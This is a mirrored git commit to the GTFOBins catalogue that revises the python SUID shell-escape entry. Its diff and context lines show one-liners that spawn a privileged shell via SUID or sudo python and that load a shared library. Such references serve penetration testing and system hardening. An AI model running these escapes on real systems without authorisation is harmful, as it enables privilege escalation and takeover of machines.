mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-07-25 19:54:14 +02:00
Fix python SUID
This commit is contained in:
@@ -44,7 +44,7 @@ functions:
|
||||
library-load:
|
||||
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'
|
||||
suid:
|
||||
- code: ./python -c 'import os; os.system("/bin/sh -p")'
|
||||
- code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
||||
sudo:
|
||||
- code: sudo python -c 'import os; os.system("/bin/sh")'
|
||||
capabilities:
|
||||
|
Reference in New Issue
Block a user